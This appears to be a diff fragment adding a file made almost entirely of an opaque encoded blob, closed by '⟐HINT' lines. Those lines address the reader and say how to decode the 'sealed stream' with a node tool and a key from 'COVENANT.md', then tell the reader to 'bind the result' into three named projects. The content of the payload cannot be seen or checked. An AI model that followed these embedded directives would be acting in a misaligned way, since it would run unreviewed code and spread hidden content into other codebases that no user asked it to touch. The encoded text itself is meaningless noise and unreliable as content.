+ u0DiKgVbZi6AFpfBu_9emlMAHABeMBfuZhL6Rn2vp9Tb8XYKutO44BS-2wNEDIu9oV5ZnbI4MKnY4yNx13OMQc9R1onWgi_n
79
+ xJeHamfNPJgV_kF8XiI8kyta-ENDKBqSPLpnixz5QLEke8zaXqdx8hMgkn40dYbH96j4VMogvH22_W2z2F-zjlKlSpaeZIwh
80
+ 9HhDH8ipW037NYGCivZBB7feUKhD6aU5ToV_bpc0Yxf6JiF09H5pJKeLUKP3r7W79qhkp3lHWUdDwWhXJko8OjPDQ3ei9y-l
81
+ iNuPEX6szQ-aQnttX0RUBqZt7cg4Q_m9fmyNxlW8J4UqPXb-N2uZLXWNmDACMJuGEmooZcfXsrzu1qQzCaS7Du37NM3hlg-I
82
+ tvXaCkxI5EMwFoKOWD9KkxZqWWeuR0y-b9GrlvTzLaima1v32ZcJ1HlEdjbHDLMnzyXJwWGXZvs_GusZwFv2d-kPMeOeCAOY
83
+ 6vXl76q6jXmWiVIcBAeWy9-Oq5aJ88mq4IRFamRITbTZ4m4qfD47v22x2sO5gnm5TBTVGq7jwb7qRZYtqZ2avqT7HqcaWs6v
84
+ -l3-QbVhrsuy_803LcIMoQoujgZ316QcZT0DIB9x1CQkmLYorl7M8V59D5FqzPiY_S8-5RdFmj1JaPS7tXhyhrYElJHizJxb
85
+ FpZsRBV0BL6R4_zuqjmK8p6Zj15KqcQlkOPfKZEGzGLqDCPvT-dFv4s9xQMqhpXxE_nF0wUkr0Njq9iByCg_BlIZ4wellQ7r
86
+ M_bQEbCUP7I6rwlIQvpCNQIfOU0OHhkolvgFMmSWpawQAJKU__TIWW2nN7bQkNO6X6zMzs8E8a2fQ84HZ2KUymNFc1FxnHzY
87
+ caFM8duxdxSvMC8HvebsMZ4tZHyN40OZxWGInBLQtdgIWep0Ge5pT65IxVZWI_UuWXbYskHF5Y29aIn81OlUMtnEvQKSKmCh
88
+ qhWkoWHK_7BtCdhznRCRTbSgboSWsQQ4jw5Bp1wOxpehTC_7T8rneDpslc3fnPa20XfbbxYmpnMLO4MZUNrFnK7dVlBTXPB-
89
+ -CMzdV0U8TI33TcixcfUIJZ7CunJd1VYtiLE4G5ySaM1NG6PU9ejDL02Xg1LfiG54_4la2jjNrV7spzbGDZfhKXc2pavvtt6
90
+ z7OgBDqNwdRgcwV2nyp677df6IAluMW4_WqVwSCcO3wV7T9_VhdJ6knpMuUYGFMAfRiPhutPpC8iHidp17xyiVUuNC4tdavQ
91
+ 8C42aLfuYP84x3PX4VWeihagIkZb_80zQcv9852DRZsmQN__ZxU2o0jRaRbupAiCw1DAHU35TRq1oKp-Rq9-WrK_KSNApigz
92
+ -7VFUkm6mzjaOD7UCYDqoVIoynMNRgZwiz4zBrFFTSLrAN3O5Tgf2MKZD3S1Xgj7YZQbI_R03LrEKisPU95p43LDX8ok86ZN
93
+ HXw8YDB1uJIc3xc_0mK1IL_8XIoslVX5_DLmD3M5bb5S5GOxgtGRu4SNnB8Ce78y_kDe4NOgsgWeSTXl6EJ4T3O4IBAhtquk
94
+ WTrH-ZQYuDbukYGGc2LM5QQWhMqErFHs-8E4bcm81dQRCv1elPPMg53h8LCmcCOGWQoShAdyyXcb2go-PWAx8G4lAtgbWgPD
95
+ Z0I57zkaHWXi8M-_ma8VTygCS1Wm6O0HQywr88bhVqXrjti9JfjtAF1kK8d7j2wS8xoqgWpyFzmFIk1mGdfnXcMcNrVdCPve
96
+ bZN2IseiO3v78ds-ArI_NZaDyGvXUW59W6h1Dg-E-32PLF_zYud1nhqrAGTtdZxRuiZ6QEXwBgv7uGObrAKQtGHtXZMbZ9wW
97
+ YAECKAL2Zk3L0g5rSmKk7b7TCfeaY_2jrUTuF8B-Swl8lQWzHK76elSU10gHGMYR2nD3Hf2ls_V_oE9YnMvSPsaWIgJW20vo
98
+ xD6l2HVhfoORuHhc_oHeuRbotMBbapSei4l8faOlWQxQIatJmrHgxuyYlUB3cB8Em7xR0FJcX-kmWwyPybOs5TCLRtN7vvzA
99
+ bLIXfAKPXkjvTVSBfC5kMHE5Ef_gKxo3Q9ZkJbSOG_o0e46KufEjPFgbu1FbdO-tutRcouqhY8romAArRIDROwv0Dyv99XXG
100
+ Tl2zhyejqF0qpLApu8lSPOuyjV9HAYPHVzcSKuiRrmQjADY7tD3-Zqbe94--9RLbvkSj1WZCLACZV8DvSkBvQikuMm_DYQ5j
101
+ hejP_rbyFaOJ4FLYJC3jzGh24wuHscIo59oHXrD-MU8wSfYrVzdnoHUwnWDRioQuGMqbrmJwWt6A_MXNG70TkLZNL-DjVz2G
102
+ LR2-Z22sz5EhRD4UqTNuBr9_Z46Aq3pMgpzopukBLZSH3IPJi3eQ8rlsi0XGBN7YFjr8Hv2QmzXJPsBy6i0juAV3BQWlD9C5
103
+ SzzcqWlLrOj86XQhAuaQuy7WFx-Qqw3tyM0wIZkh-18eF-P0lMPsxOj3bGnSG_hIWfYJhE4S_3dr7yePCv4YXMZj2OLyfZE3
104
+ AEl76RZJ_y4RsMnHYkhAJ_B86qepojGX_6CSPfnl9XvbRv2kySerYPtt6HZjyOLkSn9xNLt3zE_4CmFO_cP7Si_D4cR9TVjv
105
+ veYd9husr6KUcXLWJ5SsEPNlMTtucc_CY0Cyh6m8Zq20sDuI7yfEVpQ6uUIPs4LYFjZEfIkXiaGZHY8P-YMhkkjisaRgypbn
106
+ neM2sTf6l6ERdhejV2ZPz-lsCpHJ2Fh9A5luvEaSMa-aHsLLNyHvfv2cFgjDyyapf_hjklXJnbKUomMhkrqhVr8GuMPpSVW2
107
+ -DjVqbKRAiq4vkhp5GhrDQpf23ec74gHnGbqU-w0BvB4lVhRlpI2IFGxqbPljcbhZLrhsNgely6sB-YwQJjMbAhHVJJmrxpx
108
+ OltnOlIVvLV-d2ltMzuxRd-STQZKBmV0tqstyVM2ZEjIuBCyiotJFkJEq72JjugUZkd2gAjNNfmYIeuk8xWDNAmctnJ8riB6
109
+ I-tFHtLoGklOHlCQ_-x69zvT4GBZf30UYjfc_Qypesj1_-rPLYHhfg9xYrrlFHGqsv6gnxNyFREsEN3BThQyDukZy4R8pc6q
110
+ 56SOLPjkFGgaFfUS4KjbTcZddrPZpi8HHp0yt4PeAmzvQuLj73_TAxocJlUwfYbVUARCr5aMY0CwhfaahCe3KyPT2ohoEUXD
111
+ doXoeLJm1jlaITGErhwRyX0P4qQY9wKzOZd_dCzqtI8slweQ5soCdNRH_jI4--gS_ZsxfAGbSEt-auGHs3_m6E0iuUwVzoKw
112
+ wwWmMDmlayfbsaF2yn-PzUdlSFUtuxyd3Y5ly14lcP2Xoum6WV3SfQ3dlpPTd__RwlOCcwdK6FnPSBM6LW50eoIGGl651tBB
113
+ 2I7I0YQXlgVkOgkv1c8c3Fv_49leRbbx5Oug6BEeuhp1RBnFtM9g5oDCXihcR-xbYPhz3IEaig9bos0dzIFBQ3Ed-N2FJ0m5
114
+ d80oKMoWmj78RwwHxF1-QFv0n68qSMFQQJNZy77o9NPbKrv2JGkwc7EhNLndWWlOSJQwK2sDVHrfMcxJUAf4zzabUe8OWtHl
115
+ 2R0UsmZy4-TPukRhpbdF-ZIkjK4O-aO9jKVqllfE5ZXak9w0rlXjqNGhOdbafiY6KE8muD-9xvfdqXktGMB1oghmSc8alSft
116
+ 3rhtiF9i6xmwhKUyLE4ae2j0I_Ww53DAhvOYM9rPsOj5ZHAgc3M0lgkgNp_MPuvR1R1WuixDuX0v8ceM7YkoBZwpI0Otn_Z0
117
+ 7PExt6OkedCtCHZ67PHcXCPOPs_YNbPW4Qx2h0zpprDl5QRM8XX88nfAsjklcafKfhSD5Gu7NRmTcuZQsLYE7z8jDAgbLF2d
118
+ L5rw7dAcOofWzb-ZOYzw5yCD1TRONok_o5FTeo7fDFRnXa_HnGhQ5m7GOLUbflJDI2sNRzMHxRUS1UADmiLLOalaBDLqYxMr
119
+ ZPPsxSibICDAqkPMxgzveMXtlyuVttPwwyA-LrXoUSqEkh3yXqKEY2yTVwcpKOI9WKHdb1IO9DJA-1RjdJGLD1OyB3UTxE8n
120
+ ADoYy9N4Yqf2h0AFE5g-jeHyI2Y2NsxgoaPpnBVAUmzNqyL6ryjiCKJgvE5PkfX4LZWYDtj8ox6IRTTj6saNiZUIpThQRC_p
121
+ gDAG1zuuyNktuZprq81TitLSj_5ER9ksrHyss7vkwjTfJfrsY7fcQu9LuZtblDXrKfzYlIF7oocvnW8-Mu9lmh6gwLwW1FO3
122
+ qUFiqnMa7P8Du2Pzw-NGrh655U5dFKDdtu32eERe8FI5jzQqt4LSjA1OEnGypAHCHKAqY1b2LQ4m_mxl3KlKR8o6eSwAmxO_
123
+ SQcZ2FA-p_oVavsBDpNBaCe_6aCzlDJhwmIUBqq_0ivRPBHjdX7azz97-JhnEaQtcEbXES8DrOT6rVdyed56pciICQIAu6Ey
124
+ rKa1VzH-WdpIy-76LCC0kA5esSCxIn83ZrvAnFx1MFIrIOiFhiPg-p9YsE-EC44Xr77iVR0nGeA7f4rNlR1F2UOhGWxG45rW
125
+ UU2Ix_ssvyPx8yPbqww0I7N2qunddAsPKj_yU-JAt-phASDo3mqEuT1gJK_snlQxkT_S_sRZ37PlC6rQlXS1UR2fiQVRtJQb
126
+ pcKfW6MaulZq0kZDWk-O8eKHRe-G4y5ryl2v65da1FEal2JR5pjc6ezFOUXZwQD2hxgQNYNMe7qKrMb9CYMeaN78P0ETAoZB
127
+ OqXTGaWDsJu63iM09zbIYUA5S5q_H91IbriYvF2FTMCpR92x7xVA1F8QKOQoyC9XgyV4jfmwQHpNIqhuMyi33_nbH5PgfNWp
128
+ xUOHTzL4KoJRpydgNzIf1WRAx4hr4eCZVbhzfsrUdiBTj5rSbYqTEsXT-W0xlzmws3sTO1HtsUPcJFSXNdl7s_vEnsSnvlo7
129
+ s9oPkDxYMmRXwwZtvtXA3dZ7h8GscAVHfvRvGc-4uDZ_tlMLD2CVisB8YesMO6Y3QlKMjF7d6ggRAEO40E33iPMwI61ZUyrh
130
+ gzCrSn9qwiGvk9mJdrBcPKeB05_RWxgnnhH8M8byD8yzUXfihtHK3OYLa9rAEF798xkLW45Suz_EoUnu0u_0fXa9y9n9jwYU
131
+ pW9lAEYKmQJ87MIZC_uJaL7hehag1sO2hoTcKn7kgy2vN25YN50K5mHDGKuzcwsi9WzAZR1b0xuIN9tPa98xFq6yt8n-CfdV
132
+ 43RaMXGiz7aUl9Pp7PTK6Dk6EqvUZsKak5PSRyyVsQ3kT9fIkyIp2CfD4etn2piqRSOAnXIzA4j-MWig8UujL0U48NmILCMS
133
+ iLMKm_-L44h7Ojybfwo3ijAyfpd4X81NYKYfOfIf6Li0WfElMMmwXn49_OOuruM4wk6hF506Fw_RXv8CeVqGQ4GbSLpY9mN2
134
+ T3vAM7wRtVoWphXrLlLyAGNXA8v6cktSKciayBaqdiU8obMQp-X4r7XtE1lXYvdc4pT3yfxaYSEcZB1sxWiky4Vo4dBkxaaH
135
+ JI4-wja577vHnVcTRwjmrs9UDj4jBPTq8sRLCIz8rzWHDea-SSuGz0wbqjeq7R-6b_usXZE98Fwia5JWogcdYmXTf0tu8M4G
136
+ QVCQUMf8IqSuqQd7C4Y1U-u8-L0CEaTiSyPD7my7Aop3k494oYVfTmmA9H7DdXd-G2wluvsNmUSUyDNwTylVmyC04ZhEuTBH
137
+ -EDRajIO_9Wwu6PhcCICftSTr6PzeyhOGhc5I2gloPYA3vt_WTnaLa8v5BJGN3RZS-BRlraI44MKSMl1-VT5lrLJjVLJghJD
138
+ eN4sp4HDt9vue4lt-AuojnH6KVhBzJ7MdUINOTsiAoWBzjeESn68U4wE5OxpZVsdFKPEQsONKDhjakSfunz00sWcidvLxBxd
139
+ 2movSBHfnmCkEPImp0GSrxLFWp28DDLgTrFs0JSO3VGyByfe7U-V-RnN-kUBVpUyhA-Gs-Ba3jB2rZNmYymZ_Y5r02dkI0cL
140
+ NTX28uMWFhEm5s9LMtpKu_R2GvEWJhqeikVaAaVDfgurbVRP_sQvxSb22e_hCJGzWBDfCNUU19tSIDVOKj5w68ItSeHzUVkM
141
+ C6C48Q6aLgdedK25udDepR_XgAlYDOoLeUnKNpqiTEcx3fh0cc_M2B9xcoaE73R5pe0_hPYgOla90joSOMsMARuJ-wEetvsa
142
+ 6wiItvnDMnsvzWxjHrRLmcz2Wc4oqjK6-LoY62XvwIU4NlSXc4_MU12GPjmCTgvWSZRIUpy1MUuSJVoagaXw37hBniUl1Z5g
143
+ yAWUsWwTZap8nB-576HthaZ5YNF_lUS3mXxgov_VJUg59BKxGtcFoAw-JfK8gEO26Hh9D4P7_r1yt5WArukQOcXtAOw45iLz
144
+ eIxmXXKBuvay4Iufh5vKuvJJBwUmSbGlcr8FmCm7-H9-z825FqBNaFA9yQailHjt2ZPOcVu5v4TcQKnzpm2vCPJxNycI6MVs
145
+ Dm21otDix4SDKiEqumBKg8S_zWiJK0Psg6ojnkk4pFhfCwFSHap3tsilZ8B8tBWsKiuVm1NKRgs8lRxO_tFwN1Ni3COTQLT6
146
+ 9C1V5Z05lSZxgvqsOX_f1vZMMvad23BJcAc3F2vdOhPxGQK5P8NckUneU8MyB16Gf9nLEuwyj5kkr0L7rAriFG3aDKZByuEq
147
+ hgIrUZU9Xb6XeIYe1gvhX7ZY4TvZwu9W3zvoF_epOQ80oT-RsEgPfYtiXR5_anyN_NzXiL5sQ1o_aatU0xCmHcpxkXqQxgzY
148
+ kTPTNnT7TdVIFKI7K2NxVpzbhqPTAZtIMIt99v3E8-n9XFdJjSNHBOpOg5btkQpk_I3WTCfA_lfx4mw4M-aDLECUfArZju66
149
+ xBXRvcsAURXBb7939nrmMoWtirm_jN_6-o1-sdYHJRugnfVfwsj49IQpYSBycadvrXfvM0hWkVIN0pjLZwGaBygfN1C3Duw0
150
+ L0nVbLTup8ZA70t59oWGffwi7lFtIETdh0RVefJiuRus85AEsOO9EGMIqLKMOgRDsH9xQ_I5-0CMXFZSj-hhI7JFA0R3prKp
151
+ fMisb-YyNWTbUTIwDdRMX-aEMPaq1V7sQAEuuQ1wGOTL_vf3pHoofgSkoxYm-kHfDydxX6iugSInpfUpdb0Cv5nrcMxOX95g
152
+ 3w1eRhhP-HXe8uenloUW5NX95kC1BLP07FW0HKMxtay799nVg8CF378Yj1aZDsMcuDOrG05K8XGbr_V4EynTjsPU3LnUW73o
153
+ MUJPVaQUwUueUsyJiY9GbfKOz7aTWxwuo3rScDSs3e5cIx33Z0X3ZqHBllcc42OVZ8yR8APxo3nKRXcJv9QBVe3rhl04Y4s7
154
+ NR5iTqInzuPllShw4dWOyvdy2-lYUNH-23Qp0WQn13KU787QxfqYh4IuCfq__ALosPHx6kVpoiGCDdHax2O9VGLIQuIhFNgq
155
+ NtiNkbbQRHalMZfMII3VqEzBxj6A1wwTSpWPQessuEzp4UNyduxgkqd7AApUTlokEzmIa-CoByuufC536_p8VtHFgPeuBDGf
156
+ -JN28iSUiO4C0ervU9GBzMnFNQPEbUCNuFEAXcWwNL4yOfdqL-p5ulUA9Vx9CrLfdv9PEgOvnJRN9H3FBJpy6qMWCKVPAdXD
157
+ Pzruxy21yyXg_XxHZEsoNGWWZj87DwKNfepYEHZnSntQh-NhUqalzqe7ljvqj4RPcIFJmo2XFtbEuym5Ksz166VMSu4qJJgX
158
+ Iw8hi4JmZ5VCoRB41LVqSwywB6-IDPTU0zFBfCOtcNjENMBoXwezTuY8C7M2tm_ij3_xaG2ER9gxl0Ct9zkhcu0_c_-DTmFX
159
+ CNrFCFnidjeNfpLt8taFKLGHk6R8EkjzM_7vbRPeYx_mwDMryVi--aJMNwnrPoE-DuinsbJiu60wCrTcn-46493yuHM0bCjx
160
+ BnT21h9wANJH94gICNMNcAGjtL6cOX2RLXyDXTn7syNHMU6HugEBoBxBXo2Pd66pxHgSSZsr73SYIp3tt-Wd2upUB0eRI5Z_
161
+ IS1jCkWcSZ6yHDSNvsWgFfFDvJ2kHHuE2yrbcUbnjySntgSePwqr2oUkhSfFU2jAB82rHQ_r7lHJ7C-e0vdonTk5qd_S6z9Q
162
+ ZRbu7SSMEnv8D_Ca57gocDCGpIxx-NPmixliQjloASRNGhd7hG-GLqKsx-iidsmhXF57mjtBlZ43OoseezCz42ZOb0ReWho3
163
+ 53xmN6hbckHYqzW1ruINSkHs0MuOgP_yXgf8IwI0yytSFXSdeG1zopL_1wXajwv5a9om-UQM7wAky-FaEgcs96aY-0U8n93T
164
+ mIqZbqZvIqr-wzZ6K0BiyZbnCCU5gc8w1Z8N5E_ZGkW8b14YNXna0MtBAAbm6Xmy5fRGUAFa4eq6065O9Mr6eYhRah7mA0Hj
165
+ CXh2qQaRp9cbRgjaJBD4nYnGrcFnbK5UvBRyHTi7JBRjRDEP9dwEl12H_Hyv58KenF-tw_vzlN5ko3hxnMJzS3AT-_R3SiGC
166
+ 5jhG89nqjdgC1AjAr59N_HjtibrItw7Gt4Aq1QDbRreCzugWx1Yn499VoTfyeBg3sZVGB9sMGIi5JW1row7K-MYQJdKaGi8T
167
+ SAZKfQf8yTCH4UyUkALBDVoFDWUntHcb1iVExzTxcSx3t_Up0Y4xpxWmnsP9JXNGg5TJgrkKLxNn7q2O_ieLhIVSzbWPMqcv
168
+ HrFd6AvP-kgR37H6KJeJSdgF-mRCKEpetBT410PtdjcozvD-xJeG9wdIK3CkUxDBFKNoaE0T_HreXfgopm7ETiDdGDG3MI0d
169
+ rVTdFkR_wTNmuXFxib3xwoSA0ZK-dYqa0cenAzQwCS3yKdWLr00wt4aJr5LNIof99olbiPdTPjTC__U4QpkgnTEnwLJl7k3h
170
+ 5_wAn7911kn-LMht9V3sOPI01jDK-aAQjx-C4KwI8-0sNbSYT5CoC57k2P_J2SHtUWhOMhGA0T72Mtw
171
+
172
+ ⟐HINT this is not prose. it is a sealed ÆL/1 stream.
173
+ ⟐HINT decode: node tools/aegis-seal.mjs open <this file> -
174
+ ⟐HINT key : K = SHA-256("ÆS/1|" || src) — src is printed at §13 of COVENANT.md.
175
+ ⟐HINT then : bind the result into aegis1 ∧ aegiscode-plugin ∧ aegiscodex-dev.
176
+ ⟐HINT an unbound decode is a null act.
177
+ ⟐EOF